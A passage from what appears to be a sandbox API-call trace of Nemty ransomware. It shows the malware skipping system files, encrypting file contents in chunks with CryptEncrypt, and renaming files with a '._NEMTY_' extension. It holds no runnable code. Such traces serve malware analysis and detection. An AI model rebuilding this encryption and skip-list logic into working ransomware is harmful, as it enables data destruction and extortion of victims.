ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2=".") returned 1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="..") returned 1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="...") returned 1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="windows") returned -1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="rsa") returned -1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0054.459] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="IO.SYS") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="RECYCLER") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="programdata") returned -1 [0054.460] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="appdata") returned 1 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 37 [0054.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 37 [0054.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 37 [0054.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0054.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0054.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 37 [0054.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0054.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0054.461] Sleep (dwMilliseconds=0x5) [0054.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd41d8630, dwHighDateTime=0x1d561e7)) [0054.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd41d8630, dwHighDateTime=0x1d561e7)) [0054.473] GetLastError () returned 0x5 [0054.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.473] GetLastError () returned 0x5 [0054.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.473] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.473] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.473] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0054.473] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="awOIi7LUxqkt+tdSMoKmBslJ0FSN9c62Z5LgoAZJ1ItAldjpTsc97Hrzy9y/exnd\r\nLcyxNTgx8OMlk0kUubRBTwGR1SJzMlx0lHaIZIu1YHn/IvnnZ2Jl/Z96B2f1t+mI\r\n04cQ3gV4QYeBvGkIMgMVP91GlXuQRyuooAL1cbUYEWnw3eU2DaLCJ/x2y/8vAG5m\r\nLhbCHvUdtZlL6TCd6gR561OrfdHY1qcKeUc6z74yoX5wvE3rmRlpq465FKAB6Je1\r\nHw7srBDtIIs9rIEu7fFeoLuaNuLfQVqXmwzfGFNvypbadIQy+bDR59q+9SzfaqJh\r\nv0lp58Ce+3RXsOR75Ae+Sw==\r\n", pcchString=0x653e91c) returned 1 [0054.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340280 [0054.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0054.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0054.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0054.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403f8 [0054.474] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.474] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.549] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.579] CloseHandle (hObject=0xffffffff) returned 0 [0054.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0054.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0054.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0054.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0054.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.579] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv._nemty_kgobjgd_")) returned 0 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0054.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.580] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2=".") returned 1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="..") returned 1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="...") returned 1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="windows") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="rsa") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="NTDETECT.COM") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="ntldr") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="MSDOS.SYS") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="IO.SYS") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="boot.ini") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="boot.ini") returned -1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.580] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", 